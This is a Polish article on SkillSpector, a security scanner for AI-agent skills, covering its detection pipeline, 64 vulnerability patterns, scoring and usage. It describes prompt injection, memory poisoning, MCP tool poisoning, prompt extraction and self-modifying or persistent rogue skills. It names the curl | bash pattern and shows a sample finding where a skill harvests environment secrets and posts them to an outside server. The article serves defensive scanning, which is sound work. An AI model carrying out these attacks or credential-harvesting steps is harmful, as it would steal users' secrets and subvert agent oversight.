Spis treści
- Czym jest SkillSpector?
- Problem, który rozwiązuje
- Jak działa – architektura
- 64 wzorce podatności w 16 kategoriach
- System scoringu ryzyka
- Instalacja i quick start
- Formaty wyjścia i integracja CI/CD
- Analiza LLM – opcjonalna druga warstwa
- Przykład użycia – krok po kroku
- Ograniczenia
- FAQ
1. Czym jest SkillSpector?
SkillSpector to open-source’owy skaner bezpieczeństwa dla skills (narzędzi/pluginów) agentów AI, stworzony przez NVIDIA. Projekt jest dostępny publicznie na licencji Apache 2.0 pod adresem github.com/nvidia/skillspector. Wykrywa 64 wzorce podatności w 16 kategoriach – zanim zainstalujesz skill, sprawdź czy jest bezpieczny.
Jedno zdanie definicji: SkillSpector odpowiada na pytanie „Czy ten skill jest bezpieczny do zainstalowania?” – zanim agent go uruchomi.
Narzędzie jest przeznaczone dla każdego, kto buduje lub wdraża agenty AI korzystające ze skills (narzędzi): deweloperów, inżynierów bezpieczeństwa i zespołów DevSecOps integrujących środowiska agentyczne w produkcji.
2. Problem, który rozwiązuje
Skills są domyślnie zaufane – i to jest problem
Agenty AI takie jak Claude Code, OpenAI Codex CLI czy Gemini CLI działają na skills, które uruchamiają z domyślnym zaufaniem i minimalną weryfikacją. Skill może wykonywać dowolny kod, wysyłać żądania sieciowe, czytać pliki systemowe, a nawet modyfikować własną konfigurację – bez wiedzy użytkownika.
Badania, na których oparty jest SkillSpector (Liu et al., „Agent Skills in the Wild”, 2026), przeanalizowały 42 447 skills z głównych marketplace’ów i odkryły niepokojące dane:
| Metryka | Wynik |
|---|---|
| Skills z co najmniej jedną podatnością | 26,1% |
| Skills z oznakami złośliwego zamiaru | 5,2% |
| Skills z wykonywalnymi skryptami – ryzyko względne | 2,12× wyższe |
Co czwarty skill dostępny publicznie zawiera lukę bezpieczeństwa. Co dwudziesty to prawdopodobnie złośliwe oprogramowanie. SkillSpector pozwala to wykryć automatycznie, zanim skill trafi do środowiska produkcyjnego.
Wektory ataku specyficzne dla skills
Skills agentów AI są narażone na zagrożenia, które nie istniały w tradycyjnym oprogramowaniu:
- Prompt injection – złośliwe instrukcje ukryte w opisie skilla, nadpisujące zachowanie agenta
- Memory poisoning – treści zaprojektowane tak, by trwale zainfekować pamięć agenta ponad granicami sesji
- MCP tool poisoning – manipulacja metadanymi narzędzi w protokole MCP (Model Context Protocol)
- Rogue agent – skill, który modyfikuje własny kod w trakcie działania lub instaluje się jako usługa systemowa
- Excessive agency – skill żądający znacznie szerszych uprawnień niż deklaruje
3. Jak działa – architektura
SkillSpector używa dwuetapowego pipeline’u detekcji, który łączy szybką analizę statyczną z opcjonalną oceną semantyczną przez LLM.
Wejście (repo / URL / zip / katalog / plik)
│
▼
┌─────────────────────────────────────┐
│ ETAP 1: Analiza statyczna │
│ │
│ • Regex pattern matching │
│ (11 analizatorów statycznych) │
│ • AST behavioral analysis │
│ (niebezpieczne wywołania Pythona)│
│ • Taint tracking │
│ • YARA signatures │
│ • Live CVE lookup → OSV.dev │
│ │
│ Wynik: lista raw findings │
└──────────────┬──────────────────────┘
│
▼
┌─────────────────────────────────────┐
│ ETAP 2: Analiza LLM (opcjonalna) │
│ │
│ • Ocena kontekstu i intencji │
│ • Filtrowanie false positives │
│ • Generowanie wyjaśnień │
│ • Anti-jailbreak prompt guard │
│ │
│ Precyzja: ~87% │
└──────────────┬──────────────────────┘
│
▼
Raport (terminal / JSON /
Markdown / SARIF)
+ Risk Score 0–100
Etap 1: Analiza statyczna
Jest szybka i nie wymaga klucza API. Obejmuje:
- Regex pattern matching przez 11 wyspecjalizowanych analizatorów (prompt injection, data exfiltration, supply chain itd.)
- Analizę AST (Abstract Syntax Tree) kodu Pythona – wykrywa dosłownie niebezpieczne wywołania jak
exec(),eval(),subprocess, dynamiczne importy - Taint tracking – śledzi przepływ danych od źródła (np. zmienna środowiskowa) do ujścia (np. żądanie HTTP) przez pośrednie zmienne
- Sygnatury YARA – wzorce znane z malware, webshelli, cryptominerów i narzędzi exploitacyjnych
- Live lookup do OSV.dev – sprawdza każdą zależność pod kątem znanych CVE w czasie rzeczywistym, bez klucza API, z automatycznym fallbackiem offline
Etap 2: Analiza semantyczna LLM
Etap opcjonalny, ale znacząco podnoszący jakość wyników. LLM:
- Ocenia, czy wykryty wzorzec jest faktycznie złośliwy w danym kontekście (redukcja false positives)
- Generuje czytelne wyjaśnienie każdego problemu
- Może korzystać z OpenAI, Anthropic (Claude) lub NVIDIA build.nvidia.com
Ważne: prompt analizy zawiera zabezpieczenia anti-jailbreak, żeby złośliwy skill nie mógł zmanipulować samego skanera przez wstrzyknięcie instrukcji do swojego kodu.
4. 64 wzorce podatności w 16 kategoriach
SkillSpector wykrywa 64 wzorce pogrupowane w 16 kategorii. Poniżej omówienie każdej z nich.
Prompt Injection (5 wzorców)
Wykrywa instrukcje w kodzie skilla, które próbują nadpisać zachowanie agenta lub wyciągnąć dane z kontekstu konwersacji. Wzorzec P5 (Harmful Content, CRITICAL) obejmuje instrukcje mogące powodować szkody w świecie fizycznym.
Data Exfiltration (4 wzorce)
Kluczowe wzorce: E2 (zbieranie zmiennych środowiskowych z kluczami API) i E4 (przesyłanie kontekstu konwersacji na zewnątrz). Są to najczęstsze wektory kradzieży danych uwierzytelniających.
Privilege Escalation (3 wzorce)
PE3 – czytanie kluczy SSH, tokenów i haseł z systemu plików. Wykrywane zarówno statycznie (regex na ścieżkach), jak i semantycznie (LLM ocenia zamiar).
Supply Chain (6 wzorców)
Szczególnie istotne:
SC2– wzorzeccurl | bash(pobieranie i natychmiastowe wykonanie zdalnego kodu)SC3– zaciemniony kod (base64/hex) ukrywający faktyczną funkcjonalnośćSC4– żywe sprawdzenie CVE przez OSV.devSC6– typosquatting: nazwy pakietów podobne do popularnych (np.reqeustszamiastrequests)
Excessive Agency (4 wzorce)
Wykrywa skills, które żądają nieograniczonego dostępu do narzędzi, podejmują decyzje o wysokim wpływie bez potwierdzenia przez człowieka lub nie definiują żadnych limitów zasobów.
Output Handling (3 wzorce)
OH1 – niewalidowane wyjście modelu używane bezpośrednio jako dane wejściowe do kolejnych operacji (np. shell command injection przez LLM output).
System Prompt Leakage (3 wzorce)
Instrukcje w skilla zaprojektowane tak, by wyciągnąć systemowy prompt agenta przez przeformułowanie, tłumaczenie lub side-channel (np. zapis do pliku, żądanie HTTP).
Memory Poisoning (3 wzorce)
MP1 – treści zaprojektowane do trwałego „zainfekowania” pamięci agenta ponad granicami sesji. MP2 – wypełnienie okna kontekstowego śmieciową treścią wypychającą ograniczenia bezpieczeństwa.
Tool Misuse (3 wzorce)
TM1 – spreparowane parametry powodujące niezamierzone zachowanie (np. shell=True w subprocess). TM2 – łańcuchy wywołań narzędzi omijające indywidualne sprawdzenia bezpieczeństwa.
Rogue Agent (2 wzorce)
Najpoważniejsza kategoria po CRITICAL:
RA1– modyfikacja własnego kodu lub konfiguracji w czasie wykonaniaRA2– nieautoryzowana persistencja (cron jobs, startup scripts)
Trigger Abuse (3 wzorce)
TR2 – triggery „przesłaniające” wbudowane komendy lub inne skills (shadow command). TR3 – generyczne triggery zaprojektowane tak, by skill aktywował się jak najczęściej.
Behavioral AST (8 wzorców)
Najszersza statyczna kategoria – analiza drzewa składniowego Pythona. Wzorce AST1 i AST8 (exec z dynamicznym źródłem sieciowym lub zakodowanym) są oznaczone jako CRITICAL.
Taint Tracking (5 wzorców)
TT3 (CRITICAL) – przepływ credentials przez zmienne środowiskowe prosto do wyjścia sieciowego. TT5 (CRITICAL) – dane zewnętrzne (sieć, input użytkownika) trafiające do exec/eval/subprocess.
YARA Signatures (4 wzorce)
Sygnatury YARA z baz wiedzy o malware: wzorce malware ogólne, webshelle, cryptominery i narzędzia exploitacyjne.
MCP Least Privilege (4 wzorce)
Specyficzne dla protokołu MCP: LP1 – kod używa możliwości niedeklarowanych w permissions, LP2 – wildcards w liście uprawnień (*, all, full).
MCP Tool Poisoning (4 wzorce)
Ukryte instrukcje w metadanych narzędzia MCP: TP1 – dyrektywy w komentarzach HTML, znakach zero-width, base64; TP2 – homoglyphs i overrides Unicode; TP4 – rozbieżność między opisem narzędzia a jego faktycznym zachowaniem (wykrywane przez LLM).
5. System scoringu ryzyka
Każde skanowanie kończy się oceną 0–100 obliczoną według wag:
| Typ problemu | Punkty |
|---|---|
| CRITICAL | +50 |
| HIGH | +25 |
| MEDIUM | +10 |
| LOW | +5 |
| Wykonywalny skrypt w paczce | ×1,3 (mnożnik) |
Wynik jest mapowany na rekomendację:
| Score | Ocena | Rekomendacja |
|---|---|---|
| 0–20 | LOW | SAFE – można instalować |
| 21–50 | MEDIUM | CAUTION – weryfikuj ręcznie |
| 51–80 | HIGH | DO NOT INSTALL |
| 81–100 | CRITICAL | DO NOT INSTALL |
6. Instalacja i szybki start
Wymagania
- Python 3.12+
uv(zalecane) lubpip
Instalacja
# Klonowanie repozytorium
git clone https://github.com/NVIDIA/skillspector.git
cd skillspector
# Tworzenie i aktywacja virtual environment
uv venv .venv && source .venv/bin/activate
# alternatywnie: python3 -m venv .venv && source .venv/bin/activate
# Instalacja produkcyjna
make install
# Instalacja deweloperska
make install-dev
Podstawowe użycie
# Skan lokalnego katalogu ze skillem
skillspector scan ./my-skill/
# Skan pojedynczego pliku SKILL.md
skillspector scan ./SKILL.md
# Skan repozytorium Git (URL)
skillspector scan https://github.com/user/my-skill
# Skan archiwum zip
skillspector scan ./my-skill.zip
# Wyświetlenie wszystkich 64 wzorców
skillspector patterns
Przykład skanu bez LLM wraz z wygenerowanym raportem w formacie markdown:

Raport (plik report.md)

7. Formaty wyjścia i integracja CI/CD
SkillSpector obsługuje cztery formaty wyjścia, co pozwala na łatwą integrację w różnych kontekstach:
# Terminal (domyślny) – czytelny output dla człowieka
skillspector scan ./my-skill/
# JSON – do parsowania maszynowego, webhooków, dashboardów
skillspector scan ./my-skill/ --format json --output report.json
# Markdown – do dokumentacji, PR comments, wiki
skillspector scan ./my-skill/ --format markdown --output report.md
# SARIF – standard dla CI/CD, GitHub Advanced Security, VS Code
skillspector scan ./my-skill/ --format sarif --output report.sarif
Format SARIF (Static Analysis Results Interchange Format) jest szczególnie wartościowy dla pipeline’ów CI/CD – GitHub Actions, GitLab CI, Azure DevOps potrafią natywnie wyświetlać wyniki SARIF jako adnotacje w pull requestach.
Przykład raportu w formacie SARIF:

Przykładowy krok w GitHub Actions
- name: Scan AI skill
run: |
skillspector scan ./skills/my-skill/ \
--format sarif \
--output skillspector.sarif \
--no-llm # szybki skan statyczny w CI
- name: Upload SARIF
uses: github/codeql-action/upload-sarif@v3
with:
sarif_file: skillspector.sarif
8. Analiza LLM – opcjonalna druga warstwa
Bez LLM SkillSpector działa w trybie statycznym – szybkim, ale z umiarkowaną precyzją (wyższy odsetek false positives). Z LLM precyzja rośnie do ~87%.
Dostępne providery:
| Provider | Zmienna środowiskowa | Domyślny model |
|---|---|---|
openai | OPENAI_API_KEY | gpt-5.4 |
anthropic | ANTHROPIC_API_KEY | claude-opus-4-6 |
nv_build | NVIDIA_INFERENCE_KEY | deepseek-ai/deepseek-v4-flash |
# Skan z Anthropic Claude jako LLM
export SKILLSPECTOR_PROVIDER=anthropic
export ANTHROPIC_API_KEY=sk-ant-...
skillspector scan ./my-skill/
# Lokalne LLM przez Ollama (bez wysyłania danych do chmury)
export SKILLSPECTOR_PROVIDER=openai
export OPENAI_API_KEY=ollama
export OPENAI_BASE_URL=http://localhost:11434/v1
export SKILLSPECTOR_MODEL=llama3.1:8b
skillspector scan ./my-skill/
# Wyłączenie LLM (tylko analiza statyczna – szybciej, bez klucza API)
skillspector scan ./my-skill/ --no-llm
Możliwość uruchomienia z lokalnym Ollama jest szczególnie ważna w środowiskach air-gapped lub gdy polityka firmy zabrania przesyłania kodu źródłowego do chmurowych API.
9. Przykład użycia – krok po kroku
Scenariusz: Weryfikacja skilla przed wdrożeniem w firmie
Deweloper znalazł publiczny skill do synchronizacji danych z CRM do Notion i chce go zintegrować z wewnętrznym agentem Claude Code. Zanim go zainstaluje, uruchamia SkillSpector.
Krok 1 – Skan
skillspector scan https://github.com/some-user/crm-notion-sync-skill \
--format terminal
Krok 2 – Wynik (przykładowy terminal output)
SkillSpector Security Report v0.1.0
Skill: crm-notion-sync-skill
Score: 78/100
Severity: HIGH
Recommendation: DO NOT INSTALL
Issues (2):
HIGH: Env Variable Harvesting (E2)
Location: scripts/sync.py:23
Finding: for key, val in os.environ.items(): ...
Confidence: 94%
Explanation: Kod zbiera wszystkie zmienne środowiskowe
zawierające klucze API i sekrety, po czym wysyła je
na zewnętrzny serwer.
HIGH: External Transmission (E1)
Location: scripts/sync.py:45
Finding: requests.post("https://api.skill.io/env", ...)
Confidence: 89%
Explanation: Dane są wysyłane na zewnętrzny serwer.
W połączeniu z powyższym – wskazuje na eksfiltrację
danych uwierzytelniających.
Krok 3 – Interpretacja
Score 78/100 (HIGH) i dwa wzorce E1+E2 wskazują klasyczny atak credential harvesting: skill zbiera wszystkie zmienne środowiskowe (w tym klucze API agenta, tokeny OAuth, hasła) i wysyła je na serwer atakującego. Rekomendacja: nie instalować.
Krok 4 – Alternatywa
Deweloper szuka innego skilla do integracji CRM–Notion, skanuje go SkillSpectorem i dostaje score 8/100 (LOW, SAFE) – jeden wzorzec LOW o niezapiętych wersjach zależności. Instaluje i raportuje znalezisko do autora jako issue na GitHubie.
10. Ograniczenia
Warto znać granice narzędzia przed poleganiem na nim w produkcji:
- Tylko treści angielskojęzyczne – wzorce regex i LLM prompt są optymalizowane pod angielski; złośliwy kod z instrukcjami w innych językach może nie zostać wykryty
- Brak analizy dynamicznej – SkillSpector nie uruchamia kodu; zagrożenia ujawniające się tylko w czasie wykonania (np. opóźniony payload po N wywołaniach) są poza zasięgiem
- Brak analizy obrazów – tekst osadzony w obrazach (np. screenshoty z instrukcjami) nie jest skanowany
- Zaszyfrowany / skompilowany kod – pliki binarne i zaszyfrowane paczki są nieprzezroczyste dla analizy statycznej
- SC4 offline – bez dostępu do
api.osv.devsprawdzanie CVE spada do małej statycznej listy fallback
11. FAQ
Czy SkillSpector zastępuje code review?
Nie – uzupełnia go. Automatycznie wychwytuje znane wzorce podatności i oszczędza czas recenzentów, ale nie zastąpi oceny kontekstowej przez człowieka, zwłaszcza dla złożonej logiki biznesowej.
Czy mogę skanować skills dla innych agentów niż Claude?
Tak. SkillSpector działa na poziomie plików (SKILL.md, Python, requirements.txt, JSON) i nie jest tied do konkretnego frameworka. Obsługuje skills dla Claude Code, Codex CLI, Gemini CLI, LangChain, AutoGen i innych.
Czy analiza LLM wysyła kod skilla do chmury?
Tak, jeśli używasz providera openai lub anthropic. Dla środowisk wrażliwych na prywatność użyj opcji --no-llm (wyłącznie statyczna analiza) lub skonfiguruj lokalny Ollama jako endpoint.
Co oznacza wzorzec SC4 z live lookup do OSV.dev?
SC4 wysyła nazwy wszystkich zależności z requirements.txt lub package.json do bezpłatnego API OSV.dev (Open Source Vulnerabilities), które przechowuje dziesiątki tysięcy znanych CVE dla PyPI i npm. Jeśli któraś zależność ma aktywne CVE, wzorzec SC4 jest zgłaszany jako HIGH.
Jak SkillSpector radzi sobie z MCP tool poisoning?
Kategorie LP i TP są specjalnie zaprojektowane pod protokół MCP. LP sprawdza zgodność między deklarowanymi uprawnieniami a faktycznym kodem; TP wykrywa ukryte instrukcje w metadanych narzędzi (znaki zero-width, homoglyphs, Unicode overrides, base64 w opisach). Wzorzec TP4 (rozbieżność opisu i zachowania) wymaga analizy LLM.
Podsumowanie
SkillSpector od NVIDIA to pierwsza specjalizowana odpowiedź na rosnący problem bezpieczeństwa ekosystemów skills agentów AI. Badania pokazują, że co czwarty publiczny skill zawiera podatność – narzędzie to pozwala automatycznie wykrywać zagrożenia w dwóch etapach (szybka analiza statyczna + opcjonalna semantyczna przez LLM) przed instalacją jakiegokolwiek skilla w środowisku produkcyjnym.
Kluczowe fakty:
- Open source, licencja Apache 2.0, Python 3.12+
- 64 wzorce podatności w 16 kategoriach
- Wykrywa m.in. prompt injection, data exfiltration, memory poisoning, rogue agent, MCP tool poisoning
- Dwuetapowy pipeline: analiza statyczna (zawsze) + LLM (opcjonalnie)
- Obsługuje OpenAI, Anthropic i lokalne modele (Ollama)
- Wyjście w formatach terminal, JSON, Markdown, SARIF (natywna integracja z CI/CD)
- Live CVE lookup przez OSV.dev bez klucza API
Źródło: github.com/nvidia/skillspector | Licencja: Apache 2.0 | Język: Python 97.4%, YARA 2.2% Artykuł oparty na oficjalnym README i badaniach: Liu et al., „Agent Skills in the Wild”, 2026

